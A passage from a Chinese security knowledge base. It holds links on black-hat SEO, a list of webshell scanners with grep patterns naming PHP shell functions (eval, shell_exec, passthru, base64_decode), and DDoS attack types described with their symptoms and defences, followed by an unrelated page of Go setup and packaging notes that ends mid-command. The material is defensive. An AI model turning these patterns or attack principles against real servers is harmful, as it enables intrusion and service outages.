[【黑帽SEO系列】基础知识](https://thief.one/2016/10/09/%E9%BB%91%E5%B8%BDSEO%E4%B9%8B%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/) - [【黑帽SEO系列】页面跳转](https://thief.one/2016/10/10/%E9%BB%91%E5%B8%BDSEO%E4%B9%8B%E9%A1%B5%E9%9D%A2%E8%B7%B3%E8%BD%AC/) - [【黑帽SEO系列】网页劫持 ](https://thief.one/2016/10/12/%E9%BB%91%E5%B8%BDSEO%E4%B9%8B%E7%BD%91%E9%A1%B5%E5%8A%AB%E6%8C%81/) - [【黑帽SEO系列】暗链](https://thief.one/2016/10/12/%E9%BB%91%E5%B8%BDSEO%E4%B9%8B%E6%9A%97%E9%93%BE/) - [黑帽SEO剖析之手法篇](https://thief.one/2017/09/28/1/) - [黑帽SEO剖析之工具篇](https://thief.one/2017/09/28/2/) - [黑帽SEO剖析之隐身篇](https://thief.one/2017/09/28/3/) - [黑帽SEO剖析之总结篇](https://thief.one/2017/09/28/4/) - [前端web安全暗链分析&实例](https://mp.weixin.qq.com/s/mvL6Xc7-EiLa6ZipPh3kag) --- ### webshell后门 **本地扫描工具** - [D 盾](http://www.d99net.net/) - [安全狗](http://free.safedog.cn/website_safedog.html) - [深信服 Web 后门扫描](http://edr.sangfor.com.cn/backdoor_detection.html) - [河马 webshell 查杀](http://www.shellpub.com/) - [铱迅 Webshell 扫描器](http://www.yxlink.com/technology.php) - [网站安全狗网马查杀](download.safedog.cn/download/software/safedogwzApache.exe) - [OpenRASP WEBDIR+检测引擎](https://scanner.baidu.com) - [cys3c/BackdoorMan](https://github.com/cys3c/BackdoorMan) - 一个工具包,可帮助你在选定的目标位置找到恶意,隐藏和可疑的 PHP 脚本和 shell。 - [he1m4n6a/findWebshell](https://github.com/he1m4n6a/findWebshell) - findWebshell 是一款基于 python开发的 webshell 检测工具。 - [mornone/webshell-find-tools](https://github.com/mornone/webshell-find-tools) - 分析 web 访问日志以及 web 目录文件属性,用于根据查找可疑后门文件的相关脚本。 - [chiruom/Webshell_finder](https://github.com/chiruom/Webshell_finder) - 网站木马检测 - [virink/as_scanwebshell](https://github.com/virink/as_scanwebshell) - 通过正则匹配,查找后门 webshell - [c0ny1/java-memshell-scanner](https://github.com/c0ny1/java-memshell-scanner) - 通过 jsp 脚本扫描 java web Filter/Servlet 型内存马 **在线扫描** - [SHELLPUB.COM在线查杀](https://n.shellpub.com/) - [河马机器学习查杀](https://ml.shellpub.com/) - [WEBDIR+ - WebShell 扫描服务](https://scanner.baidu.com/#/pages/intro) - [WebshellChop Beta](https://webshellchop.chaitin.cn/demo/) **Tips** ```bash find /var/www/ -name "*.php" |xargs egrep 'assert|phpspy|c99sh|milw0rm|eval|(gunerpress|(base64_decoolcode|spider_bc|shell_exec|passthru|($_\POST[|eval (str_rot13|.chr(|${"_P|eval($_R|file_put_contents(.*$_|base64_decode' grep -i -r eval($_post /app/website/* find /app/website/ -type f|xargs grep eval($_post ``` --- ## 网络层面 **IP 信息** - [RIPEstat — Internet Measurements and Analysis](https://stat.ripe.net/) - [IP Info](https://ip.voidsec.com/) - [IP/DNS Detect - What is your IP, what is your DNS, what informations you send to websites.](https://ipleak.net/) - [ip8 - IP Lookup Tool](https://ip8.com/) - [查看自己的IP地址](https://whoer.net/zh) - [IPList](https://iplist.cc/) - [ASNIP.net - ASN Query](https://asnip.net/) - [IP Addresses - Plot IP](http://plotip.com/ip) - [IP Geolocation API and databases - DB-IP](https://db-ip.com/) - [IPIP.NET_最专业的 IP 地址库](https://www.ipip.net/) - [IP查询 | 查IP地址 | ip数据库 | 手机号码归属地 | 邮政编码 | worldclock 世界时间 calendar 万年历 Google PageRank Alexa rank domain whois](http://www.123cha.com/) - [ip查询,ip地址查询,ip位置 - Hao7188](http://www.hao7188.com/) - [MyIP.cn - 我的IP地址查询,网站综合信息查询,域名注册信息,搜索引擎收录,Alexa排名,Google PR,Sogou PR,反向链接,百度关键字指数](http://www.myip.cn/) - [Whois](http://ipwhois.cnnic.net.cn/) - [国家IP段查询、全球国家IP段--查错网](http://ipblock.chacuo.net/) - [更精准的全球IP地址定位平台_IP问问 -埃文科技(ipplus360.com)](http://www.ipplus360.com/) - [高精度IP定位 - openGPS.cn](https://www.opengps.cn/Data/IP/LocHighAcc.aspx) - [IP地址查询 本机IP查询 — GPSspg](http://www.gpsspg.com/ip/) - [IP地址查询--手机号码定位 | 万年历 | 身份证号码查询](http://ip38.com/) - [多数据源IP地址查询 - HaoIP.CN 好IP在线工具 最好的IP位置查询](https://haoip.cn/) - [微信IP地址查询 -- 如何查微信ip地址,查微信好友ip地址](http://www.wxip.me/) - [IP查询 - IP地址查询 - IP精确定位](http://ip.lockview.cn/Default.aspx) - [我们知道的IP地址](http://ip.womenzhidao.com/) - [DeerCloud/IPList: IP CIDRs List / IP 地址列表](https://github.com/DeerCloud/IPList) - [Get your IPv4 and IPv6 address instantly](https://eyep.dev/) - [What is my IP Address :: WebBrowserTools](https://webbrowsertools.com/ip-address/) - [What Is My IP Address? - ifconfig.me](https://ifconfig.me/) - [ipapi - IP Address Location](https://ipapi.co/) - [IP Address API and Data Solutions - geolocation, company, carrier info, type and more - IPinfo.io](https://ipinfo.io/) - [gaoyifan/china-operator-ip](https://github.com/gaoyifan/china-operator-ip) - 中国运营商IPv4/IPv6地址库-每日更新 - [out0fmemory/qqwry.dat](https://github.com/out0fmemory/qqwry.dat) - 自动更新的纯真ip库,每天自动更新 - [Hackl0us/GeoIP2-CN](https://github.com/Hackl0us/GeoIP2-CN) --- ### DDOS **SYN 类攻击** 特征: 1. 服务器 CPU 占用率很高。 2. 出现大量的 SYN_RECEIVED 的网络连接状态。 3. 网络恢复后,服务器负载瞬时变高。网络断开后瞬时负载下将。 **UDP 类攻击** 由于 UDP 是一种无连接的协议,因此攻击者可以伪造大量的源 IP 地址去发送 UDP 包,此种攻击属于大流量攻击。正常应用情况下,UDP 包双向流量会基本相等,因此在消耗对方资源的时候也在消耗自己的资源。 特征: 1. 服务器 CPU 占用率很高。 2. 网卡每秒接受大量的数据包。 3. 网络 TCP 状态信息正常。 **CC 类攻击** 原理就是借助代理服务器针对目标系统的消耗资源比较大的页面不断发起正常的请求,造成对方服务器资源耗尽,一直到宕机崩溃。因此在发送 CC 攻击前,我们需要寻找加载比较慢,消耗资源比较多的网页。比如:需要查询数据库的页面、读写硬盘的文件等。 特征: 1. 服务器 CPU 占用率很高。 2. Web 服务器出现类似 Service Unavailable 提示。 3. 出现大量的 ESTABLISHED 的网络连接状态且单个 IP 高达几十个甚至上百个连接。 4. 用户无法正常访问网站页面或打开过程非常缓慢,软重启后短期内恢复正常,几分钟后又无法访问。 **icmp flood** 此攻击属于大流量攻击,其原理就是不断发送不正常的 ICMP 包(所谓不正常就是 ICMP 包内容很大),导致目标带宽被占用。但其本身资源也会被消耗,并且目前很多服务器都是禁 ping 的(在防火墙里可以屏蔽 ICMP 包),因此这种方式已经落伍。 **syn flood** 原理就是伪造大量不存在的 IP 地址,阻断 TCP 三次握手的第三次 ACK 包,即不对服务器发送的 SYN+ACK 数据包做出应答。由于服务器没有收到客户端发来的确认响应,就会一直保持连接直到超时,当有大量这种半开连接建立时,即造成 SYN Flood 攻击。 特征: - 大量 syn+ack `netstat -n -p TCP | grep SYN_RECV` 防御: - `/proc/sys/net/ipv4/tcp_max_syn_backlog` : 在 Linux 上可以修改以下配置提高 TCP 半开连接队列大小的上限 - `/proc/sys/net/ipv4/tcp_synack_retries` : 可以减少半开状态下等待 ACK 消息的时间或者重试发送 SYN-ACK 消息的次数 **CLDAP 协议 Reflection DDoS** 在 CLDAP 中只提供三种操作:searchRequest、searchResponse (searchResEntry和searchResDone)、abandonRequest,在不提供身份验证功能的情况下,客户端可以使用 UDP 数据报对 LDAP 服务器 389 端口发起操作请求。由于客户端发起 searchRequest 后服务端将返回 searchResEntry 和 searchResDone 两条应答消息,一般情况下执行该操作将具有较小数据包反射出较大数据包的效果,这一缺陷随即被利用进行反射放大 DDoS 攻击 **ACK flood** ACK Flood 攻击是在 TCP 连接建立之后进行的。所有数据传输的 TCP 报文都是带有 ACK 标志位的,主机在接收到一个带有 ACK 标志位的数据包的时候,需要检查该数据包所表示的连接四元组是否存在。如果存在则检查该数据包所表示的状态是否合法,然后再向应用层传递该数据包。如果在检查中发现该数据包不合法(例如:该数据包所指向的目的端口在本机并未开放),则主机操作系统协议栈会回应 RST 包告诉对方此端口不存在。 当发包速率很大的时候,主机操作系统将耗费大量的精力接收报文、判断状态,同时要主动回应 RST 报文,正常的数据包就可能无法得到及时的处理。这时候客户端的表现就是访问页面反应很慢,丢包率较高。 **Connection Flood** 典型的并且非常有效的利用小流量冲击大带宽网络服务的攻击方式。这种攻击的原理是利用真实的 IP 地址向服务器发起大量的连接,并且建立连接之后很长时间不释放。长期占用服务器的资源,造成服务器上残余连接 (WAIT 状态) 过多,效率降低,甚至资源耗尽,无法响应其它客户所发起的连接。 **DNS 放大攻击** 伪造 DNS 数据包,向DNS服务器发送域名查询报文了,而 DNS 服务器返回的应答报文则会发送给被攻击主机。放大体现在请求 DNS 回复的类型为 ANY,攻击者向服务器请求的包长度为69个字节,而服务器向被攻击主机回复的 ANY 类型 DNS 包长度为535字节,大约放大了7倍(放大倍数视具体情况)。 构造受害者 IP 为源 IP 大量 DNS 服务器实现 DDoS 防御:IPS 规则、关闭递归查询,DNS解析器应仅向源自受信任域的设备提供其服务,acl,增大带宽、联系ISP上游阻断。 **慢速连接攻击** 针对 HTTP 协议,先建立起 HTTP 连接,设置一个较大的 Conetnt-Length,每次只发送很少的字节,让服务器一直以为 HTTP 头部没有传输完成,这样连接一多就很快会出现连接耗尽。 **Slowloris 攻击** Slowloris 是一种慢速连接攻击,Slowloris 是利用 Web Server 的漏洞或设计缺陷,直接造成拒绝服务。其原理是:以极低的速度往服务器发送 HTTP 请求,Apache 等中间件默认会设置最大并发链接数,而这种攻击就是会持续保持连接,导致服务器链接饱和不可用。Slowloris 有点类似于 SYN Flood 攻击,只不过 Slowloris 是基于 HTTP 协议。 **网络层 DDoS 防御** 1. 限制单 IP 请求频率。 2. 网络架构上做好优化,采用负载均衡分流。 3. 防火墙等安全设备上设置禁止 ICMP 包等。 4. 通过 DDoS 硬件防火墙的数据包规则过滤、数据流指纹检测过滤、及数据包内容定制过滤等技术对异常流量进行清洗过滤。 5. 采用 ISP 近源清洗,使用电信运营商提供的近源清洗和流量压制,避免全站服务对所有用户彻底无法访问。这是对超过自身带宽储备和自身 DDoS 防御能力之外超大流量的补充性缓解措施。 **应用层 DDoS 防御** 1. 优化操作系统的 TCP/IP 栈。 2. 应用服务器严格限制单个 IP 允许的连接数和 CPU 使用时间。 3. 编写代码时,尽量实现优化并合理使用缓存技术。尽量让网站静态化,减少不必要的动态查询。网站静态化不仅能大大提高抗攻击能力,而且还给骇客入侵带来不少麻烦,至少到现在为止关于 HTML 的溢出还没出现。 4. 增加 WAF(Web Application Firewall)设备,WAF 的中文名称叫做 Web 应用防火墙。Web 应用防火墙是通过执行一系列针对 HTTP / HTTPS 的安全策略来专门为 Web 应用提供保护的一款产品。 5. 使用 CDN / 云清洗,在攻击发生时,进行云清洗。通常云清洗厂商策略有以下几步:预先设置好网站的 CNAME,将域名指向云清洗厂商的 DNS 服务器;在一般情况下,云清洗厂商的 DNS 仍将穿透 CDN 的回源的请求指向源站,在检测到攻击发生时,域名指向自己的清洗集群,然后再将清洗后的流量回源。 6. CDN 仅对 Web 类服务有效,针对游戏类 TCP 直连的服务无效。这时可以使用 DNS 引流 + ADS (Anti-DDoS System) 设备来清洗,还有在客户端和服务端通信协议做处理(如:封包加标签,依赖信息对称等)。 ### 流量分析 - 内容见 [流量分析](./实验/流量分析.md)
sec-knowleage
# GO --- **推荐工具/资源书籍** - [Go - Visual Studio Marketplace](https://marketplace.visualstudio.com/items?itemName=ms-vscode.Go) - [GoLand: A Clever IDE to Go by JetBrains](https://www.jetbrains.com/go/) - [re4lity/Hacking-With-Golang](https://github.com/re4lity/Hacking-With-Golang) - Golang安全资源合集 - [Quorafind/golang-developer-roadmap-cn](https://github.com/Quorafind/golang-developer-roadmap-cn) - Go 开发者路线图 --- ## 常见报错 - **fatal error: can’t find import: fmt** 说明你的环境变量没有配置正确 --- ## IDE ### vscode - [在VsCode中搭建Go开发环境,手把手教你配置](https://juejin.im/post/5cdd811fe51d45475d5e8e0c) ### Goland 常用快捷键 **文件操作相关** - `Ctrl + E` 打开最近浏览过的文件 - `Ctrl + N` 快速打开某个 struct 结构体所在的文件 - `Ctrl + Shift + N` 快速打开文件 - `Shift + F6` 重命名文件夹、文件、方法、变量名等 **代码格式化相关** - `Ctrl + Alt + L` 格式化代码 - `Ctrl + 空格` 代码提示 - `Ctrl + /` 单行注释 - `Ctrl + Shift + /` 多行注释 - `Ctrl + B 或 F4` 快速跳转到结构体或方法的定义位置(需将光标移动到结构体或方法的名称上) - `Ctrl + "+ 或 -"` 可以将当前(光标所在位置)的方法进行展开或折叠 **查找和定位相关** - `Ctrl + R` 替换文本 - `Ctrl + F` 查找文本 - `Ctrl + Shift + F` 全局查找 - `Ctrl + G` 显示当前光标所在行的行号 - `Ctrl + Shift + Alt + N` 查找类中的方法或变量 **编辑代码相关** - `Ctrl + J` 快速生成一个代码片段 - `Shift+Enter` 向光标的下方插入一行,并将光标移动到该行的开始位置 - `Ctrl + X` 删除当前光标所在行 - `Ctrl + D` 复制当前光标所在行 - `Ctrl + Shift + 方向键上或下` 将光标所在的行进行上下移动(也可以使用 Alt+Shift+方向键上或下) - `Alt + 回车` 自动导入需要导入的包 - `Ctrl + Shift + U` 将选中的内容进行大小写转化 - `Alt + Insert` 生成测试代码 - `Alt + Up/Down` 快速移动到上一个或下一个方法 - `Ctrl + Alt + Space` 类名或接口名提示(代码提示) - `Ctrl + P` 提示方法的参数类型(需在方法调用的位置使用,并将光标移动至( )的内部或两侧) **编辑器相关** - `Ctrl + Alt + left/right` 返回至上次浏览的位置 - `Alt + left/right` 切换代码视图 - `Ctrl + W` 快速选中代码 - `Alt + F3` 逐个向下查找选中的代码,并高亮显示 - `Tab` 代码标签输入完成后,按 Tab,生成代码 - `F2 或 Shift + F2` 快速定位错误或警告 - `Alt + Shift + C` 查看最近的操作 - `Alt + 1` 快速打开或隐藏工程面板 --- ## 安装/配置/报错 ### 安装 **windows** 默认情况下 `.msi` 文件会安装在 `c:\Go` 目录下.且环境变量自动配置好.`GOPATH` 变量请自己指定 **linux** ```bash 访问 https://golang.org/dl/ 下载最新版本包 tar -C /usr/local -xzf 相应文件.tar.gz export PATH=$PATH:/usr/local/go/bin export GOROOT=/usr/local/go export GOPATH=$HOME/Applications/Go source $HOME/.profile source ~/.bash_profile # $GOPATH 可以包含多个工作目录,取决于你的个人情况.如果你设置了多个工作目录,那么当你在之后使用 go get(远程包安装命令)时远程包将会被安装在第一个目录下. go version ``` **安装目录清单** 你的 Go 安装目录的文件夹结构应该如下所示: - api 每个版本的 api 变更差异 - bin go 源码包编译出的编译器(go)、文档工具(godoc)、格式化工具(gofmt) - doc 英文版的 Go 文档 - lib 引用的一些库文件 - misc 杂项用途的文件,例如 Android 平台的编译、git 的提交钩子等 - pkg Windows 平台编译好的中间文件 - src 标准库的源码 - test 测试用例 --- ### 配置 **Go 环境变量** Go 开发环境依赖于一些操作系统环境变量,你最好在安装 Go 之间就已经设置好他们.如果你使用的是 Windows 的话,你完全不用进行手动设置,Go 将被默认安装在目录 `c:/go` 下.这里列举几个最为重要的环境变量: - $GOROOT 表示 Go 在你的电脑上的安装位置,它的值一般都是 `$HOME/go`,当然,你也可以安装在别的地方. - $GOARCH 表示目标机器的处理器架构,它的值可以是 386、amd64 或 arm. - $GOOS 表示目标机器的操作系统,它的值可以是 darwin、freebsd、linux 或 windows. - $GOBIN 表示编译器和链接器的安装位置,默认是 `$GOROOT/bin`,如果你使用的是 Go 1.0.3 及以后的版本,一般情况下你可以将它的值设置为空,Go 将会使用前面提到的默认值. 目标机器是指你打算运行你的 Go 应用程序的机器. Go 编译器支持交叉编译,也就是说你可以在一台机器上构建运行在具有不同操作系统和处理器架构上运行的应用程序,也就是说编写源代码的机器可以和目标机器有完全不同的特性(操作系统与处理器架构). 为了区分本地机器和目标机器,你可以使用 $GOHOSTOS 和 $GOHOSTARCH 设置目标机器的参数,这两个变量只有在进行交叉编译的时候才会用到,如果你不进行显示设置,他们的值会和本地机器($GOOS 和 $GOARCH)一样. > Mac 下编译 Linux 和 Windows 64位可执行程序 ``` CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go ``` > Linux 下编译 Mac 和 Windows 64位可执行程序 ``` CGO_ENABLED=0 GOOS=darwin GOARCH=amd64 go build main.go CGO_ENABLED=0 GOOS=windows GOARCH=amd64 go build main.go ``` > Windows 下编译 Mac 和 Linux 64位可执行程序 ``` SET CGO_ENABLED=0 SET GOOS=darwin SET GOARCH=amd64 go build main.go SET CGO_ENABLED=0 SET GOOS=linux SET GOARCH=amd64 go build main.go ``` - $GOPATH 默认采用和 $GOROOT 一样的值,但从 Go 1.1 版本开始,你必须修改为其它路径.它可以包含多个包含 Go 语言源码文件、包文件和可执行文件的路径,而这些路径下又必须分别包含三个规定的目录:src、pkg 和 bin,这三个目录分别用于存放源码文件、包文件和可执行文件. - $GOARM 专门针对基于 arm 架构的处理器,它的值可以是 5 或 6,默认为 6. - $GOMAXPROCS 用于设置应用程序可使用的处理器个数与核数. --- ### Test ```bash mkdir -p $HOME/Applications/Go cd $HOME/Applications/Go ``` ```vim vim hello.go package main import "fmt" func main() { fmt.Printf("hello, world\n") } ``` ```bash go build ./Go ``` ### 报错 **解决 Golang https 请求时,x509: certificate signed by unknown authority 问题** - http://www.honlyc.com/post/golang-x509-certificate-unknown-authority/ --- ## 简介知识 ### 工程结构 **工作区** 一般情况下,Go 语言的源码文件必须放在工作区中.但是对于命令源码文件来说,这不是必需的.工作区其实就是一个对应于特定工程的目录,它应包含 3 个子目录:src 目录、pkg 目录和 bin 目录,下面逐一说明. - src 目录 用于以代码包的形式组织并保存 Go 源码文件,这里的代码包与 src 下的子目录一一对应.例如,若一个源码文件被声明属于代码包 log,那么它就应当保存在 src/log 目录中. 当然,也可以把 Go 源码文件直接放在 src 目录下,但这样的 Go 源码文件就只能被声明属于 main 代码包了.除非用于临时测试或演示,一般还是建议把 Go 源码文件放入特定的代码包中. - pkg 目录 用于存放通过 go install 命令安装后的代码包的归档文件.前提是代码包中必须包含 Go 库源码文件.归档文件是指那些名称以".a"结尾的文件.该目录与 GOROOT 目录下的 pkg 目录功能类似.区别在于,工作区中的 pkg 目录专门用来存放用户代码的归档文件. 编译和安装用户代码的过程一般会以代码包为单位进行.比如 log 包被编译安装后,将生成一个名为 log.a 的归档文件,并存放在当前工作区的 pkg 目录下的平台相关目录中. - bin 目录 与 pkg 目录类似,在通过 go install 命令完成安装后,保存由 Go 命令源码文件生成的可执行文件.在类 Unix 操作系统下,这个可执行文件一般来说名称与源码文件的主文件名相同.而在 Windows 操作系统下,这个可执行文件的名称则是源码文件主文件名加 .exe 后缀. **GOPATH** 我们需要将工作区的目录路径添加到环境变量 GOPATH 中.否则,即使处于同一工作区,代码之间也无法通过绝对代码包路径调用.在实际开发环境中,工作区可以只有一个,也可以有多个,这些工作区的目录路径都需要添加到 GOPATH 中.与 GOROOT 一样,我们应该确保 GOPATH 一直有效. 需要注意一下两点: 1. GOPATH 中不要包含 Go 语言的根目录,以便将 Go 语言本身的工作区同用户工作区严格分开. 2. 通过 Go 工具中的代码获取命令 go get,可将指定项目的源码下载到我们在 GOPATH 中设定的第一个工作区中,并在其中完成编译和安装. **源码文件** Go 的源码文件有 3 个种类,即命令源码文件、库源码文件和测试源码文件,下面详细说明这 3 类源码文件. - 命令源码文件 如果一个源码文件被声明属于 main 代码包,且该文件代码中包含无参数声明和结果声明的 main 函数,则它就是命令源码文件.命令源码文件可通过 go run 命令直接启动运行. 同一个代码包中的所有源码文件,其所属代码包的名称必须一致.如果命令源码文件和库源码文件处于同一个代码包中,那么在该包中就无法正确执行 go build 和 go install 命令.换句话说,这些源码文件将无法通过常规方法编译和安装. 因此,命令源码文件通常会单独放在一个代码包中.这是合理且必要的,因为通常一个程序模块或软件的启动入口只有一个. 同一个代码包中可以有多个命令源码文件,可通过 go run 命令分别运行,但这会使 go build 和 go install 命令无法编译和安装该代码包.所以,我们也不应该把多个命令源码文件放在同一个代码包中. 当代码包中有且仅有一个命令源码文件时,在文件所在目录中执行 go build 命令,即可在该目录下生成一个与目录同名的可执行文件;而若使用 go install 则可在当前工作区的 bin 目录下生成相应的可执行文件.例如,代码包 gopcp.v2/helper/ds 中只有一个源码文件 showds.go,且它是命令源码文件,则相关操作和结果如下: ```bash root:~/golang/example.v2/src/gopcp.v2/helper/ds$ Is showds.go root:~/golang/example.v2/src/gopcp.v2/helper/ds$ go build root:~/golang/example.v2/src/gopcp.v2/helper/ds$ Is ds showds.go root: ~/golang/example.v2/src/gopcp.v2/helper/ds$ go install root:~/golang/example.v2/src/gopcp・v2/helper/ds$ Is ../../../../bin ds ``` 需要特别注意,只有当环境变量 GOPATH 中只包含一个工作区的目录路径时,go install 命令才会把命令源码文件安装到当前工作区的 bin 目录下;否则,像这样执行 go install 命令就会失败.此时必须设置环境变量 GOBIN,该环境变量的值是一个目录的路径,该目录用于存放所有因安装 Go 命令源码文件而生成的可执行文件. - 库源码文件 通常,库源码文件声明的包名会与它直接所属的代码包(目录)名一致,且库源码文件中不包含无参数声明和无结果声明的 main 函数.下面来安装(其中包含编译)gopcp.v2/helper/log 包,其中含有若干库源码文件: ```bash root:~/golang/example.v2/src/gopcp.v2/helper/log$ ls base logger.go logger_test.go logrus root: ~/golang/example.v2/src/gopcp.v2/helper/log$ go install root:~/golang/example.v2/src/gopcp.v2/helper/log$ ls ../../../pkg linux_amd64 root:~/golang/example.v2/src/gopcp.v2/helper/log$ ls ../../../pkg/linux_amd64/gopcp.v2/helper log log.a root:~/golang/example.v2/src/gopcp.v2/helper/log$ ls ../../../../pkg/linux_amd64/gopcp.v2/helper/log base.a field.a logrus.a ``` 这里,我们通过在 gopcp.v2/helper/log 代码包的目录下执行 go install 命令,成功安装了该包并生成了若干归档文件.这些归档文件的存放目录由以下规则产生. 安装库源码文件时所生成的归档文件会被存放到当前工作区的 pkg 目录中.example.v2 项目的 gopcp.v2/helper/log 包所属工作区的根目录是 ~/golang/example.v2.因此,上面所说的 pkg 目录即 ~/golang/example.v2/pkg. 根据被编译时的目标计算环境,归档文件会被放在该 pkg 目录下的平台相关目录中.例如,我是在 64 位的 Linux 计算环境下安装的,对应的平台相关目录就是 linux_amd64,那么归档文件一定会被存放到 ~/golang/example.v2/pkg/linux_amd64 目录中的某个地方. 存放归档文件的目录的相对路径与被安装的代码包的上一级代码包的相对路径一致.第一个相对路径是相对于工作区的 pkg 目录下的平台相关目录而言的,而第二个相对路径是相对于工作区的 src 目录而言的. 例如,gopcp.v2/helper/log 包的归档文件 log.a 一定会被存放到 ~/golang/example.v2/pkg/linux_amd64/gopcp.v2/helper 这个目录下.而它的子代码包 gopcp.v2/helper/log/base 的归档文件 base.a,则一定会被存放到 ~/golang/example.v2/pkg/linux_amd64/gopcp.v2/helper/log 目录下. - 测试源码文件 测试源码文件是一种特殊的库文件,可以通过执行 go test 命令运行当前代码包下的所有测试源码文件.成为测试源码文件的充分条件有两个,如下. - 文件名需要以"_test.go"结尾. - 文件中需要至少包含一个名称以 Test 开头或 Benchmark 开头,且拥有一个类型为 *testing.T 或 *testing.B 的参数的函数.testing.T 和 testing.B 是两个结构体类型.而 *testing.T 和 *testing.B 则分别为前两者的指针类型.它们分别是功能测试和基准测试所需的. 当在一个代码包中执行 go test 命令时,该代码包中的所有测试源码文件会被找到并运行.我们依然以 gopcp.v2/helper/log 包为例: ```bash root:~/golang/example.v2/src/gopcp.v2/helper/log$ go test PASS ok gopcp.v2/helper/log 0.008s ``` 这里使用 go test 命令在 gopcp.v2/helper/log 包中找到并运行了测试源码文件 logger_test.go,且调用其中所有的测试函数.命令行的回显信息表示我们通过了测试,并且运行测试源码文件中的测试程序共花费了 0.080 S. 最后插一句,Go 代码的文本文件需要以 UTF-8 编码存储.如果源码文件中出现了非 UTF-8 编码的字符,那么在运行、编译或安装的时候,Go 命令会抛出 illegal UTF-8 sequence 错误. **代码包** 在 Go 中,代码包是代码编译和安装的基本单元,也是非常直观的代码组织形式. - 包声明 在 example.v2 项目的代码包中,多数源码文件名称看似都与包名没什么关系.实际上,在 Go 语言中,代码包中的源码文件可以任意命名.另外,这些任意名称的源码文件都必须以包声明语句作为文件中代码的第一行.比如,gopcp.v2/helper/log/base 包中的所有源码文件都要先声明自己属于某一个代码包: ```go package "base" ``` 其中 package 是 Go 中用于包声明语句的关键字.Go 规定包声明中的包名是代码包路径的最后一个元素.比如,`gopcp.v2/helper/log/base` 包的源码文件包声明中的包名是 base.但是,不论命令源码文件存放在哪个代码包中,它都必须声明属于 main 包. - 包导入 代码包 `gopcp.v2/helper/log` 中的 logger.go 需要依赖 base 子包和 logrus 子包,因此需要在源码文件中使用代码包导入语句,如下所示: ```go import "gopcp.v2/helper/log/base" import "gopcp.v2/helper/log/logrus" ``` 这需要用到代码包导入路径,即代码包在工作区的 src 目录下的相对路径. 当导入多个代码包时,可以用圆括号括起它们,且每个代码包名独占一行.在使用被导入代码包中公开的程序实体时,需要使用包路径的最后一个元素加的方式指定代码所在的包. 因此,上述语句可以写成: ```go import ( "gopcp.v2/helper/log/base" "gopcp.v2/helper/log/logrus" ) ``` 同一个源码文件中导入的多个代码包的最后一个元素不能重复,否则一旦使用其中的程序实体,就会引起编译错误.但是,如果你只导入不使用,同样会引起编译错误.一个解决方法是为其中一个起个别名,比如: ```go import ( "github.com/Sirupsen/logrus" mylogrus "gopcp.v2/helper/log/logrus" ) ``` 如果我们想不加前缀而直接使用某个依赖包中的程序实体,就可以用"."来代替别名,如下所示: ```go import ( . "gopcp.v2/helper/log/logrus" ) ``` 看到那个"."了吗?之后,在当前源码文件中,我们就可以这样做了: ```go var logger = NewLogger("gopcp") // NewLogger 是 gopcp.v2/helper/log/logrus 包中的函数 ``` 这里强调一下,Go 中的变量、常量、函数和类型声明可统称为程序实体,而它们的名称统称为标识符.标识符可以是 Unicode 字符集中任意能表示自然语言文字的字符、数字以及下划线 (_).标识符不能以数字或下划线开头. 实际上,标识符的首字符的大小写控制着对应程序实体的访问权限.如果标识符的首字符是大写形式,那么它所对应的程序实体就可以被本代码包之外的代码访问到,也称为可导出的或公开的;否则,对应的程序实体就只能被本包内的代码访问,也称为不可导岀的或包级私有的.要想成为可导出的程序实体,还需要额外满足以下两个条件. - 程序实体必须是非局部的.局部的程序实体是指:它被定义在了函数或结构体的内部. - 代码包所属目录必须包含在 GOPATH 中定义的工作区目录中. 代码包导入还有另外一种情况:如果只想初始化某个代码包,而不需要在当前源码文件中使用那个代码包中的任何程序实体,就可以用"_"来代替别名: ```go import ( _ "github.com/Simpsen/logrus" ) ``` 这种情况下,我们只是触发了这个代码包中的初始化操作(如果有的话).符号"_"就像一个垃圾桶,它在代码中使用很广泛,在后续的学习中还可以看到它的身影. - 包初始化 在Go语言中,可以有专门的函数负责代码包初始化,称为代码包初始化函数.这个函数需要无任何参数声明和结果声明,且名称必须为 init,如下所示: ```go func init() { fmt.Println("Initialize...") } ``` Go 会在程序真正执行前对整个程序的依赖进行分析,并初始化相关的代码包.也就是说,所有的代码包初始化函数都会在 main 函数(命令源码文件中的入口函数)执行前执行完毕,而且只会执行一次.另外,对于每一个代码包来说,其中的所有全局变量的初始化,都会在代码包的初始化函数执行前完成.这避免了在代码包初始化函数对某个变量进行赋值之后,又被该变量声明中赋予的值覆盖掉的问题. 下面的代码展示了全局赋值语句、代码包初始化函数以及主函数的执行顺序.其中,双斜杠及其右边的内容为代码注释,Go 编译器在编译的时候会将其忽略. ```go package main //命令源码文件必须在这里声明自己属于main包 import ( //导入标准库代码包fmt和runtime "fmt" "runtime" ) func init() { //代码包初始化函数 fmt.Printf("Map: %v\n", m) // 格式化的打印 //通过调用runtime包的代码获取当前机器的操作系统和计算架构. //而后通过fmt包的Sprintf方法进行格式化字符串生成并赋值给变量info info = fmt.Sprintf("OS: %s, Arch: %s", runtime.GOOS, runtime.GOARCH) } //非局部变量,map类型,且已初始化 var m = map[int]string{1: "A", 2: "B", 3: "C"} //非局部变量,string类型,未被初始化 var info string func main() { //命令源码文件必须有的入口函数,也称主函数 fmt.Println(info) // 打印变量 info } ``` 运行这个文件: ``` D:\code>go run main.go Map: map[1:A 2:B 3:C] OS: windows, Arch: amd64 ``` 关于每行代码的用途,在源码文件中我已经作了基本的解释.这里只解释这个小程序的输出. 第一行是对变量 m 的值格式化后的结果.可以看到,在函数 init 的第一条语句执行时,变量 m 已经被初始化并赋值了.这验证了:当前代码包中所有全局变量的初始化会在代码包初始化函数执行前完成. 第二行是对变量 info 的值格式化后的结果.变量 info 被定义时并没有显式赋值,因此它被赋予类型 string 的零值——""(空字符串).之后,变量 info 在代码包初始化函数 init 中被赋值,并在入口函数 main 中输出.这验证了:所有的代码包初始化函数都会在 main 函数执行前执行完毕. 同一个代码包中可以存在多个代码包初始化函数,甚至代码包内的每一个源码文件都可以定义多个代码包初始化函数.Go 不会保证同一个代码包中多个代码包初始化函数的执行顺序.此外,被导入的代码包的初始化函数总是会先执行.在上例中,fmt 和 runtime 包中的 init 函数(如果有的话)会先执行,然后当前文件中的 init 函数才会执行. ### 跨平台编译 Windows下编译Mac平台64位可执行程序: ```bash SET CGO_ENABLED=0 SET GOOS=darwin SET GOARCH=amd64 go build 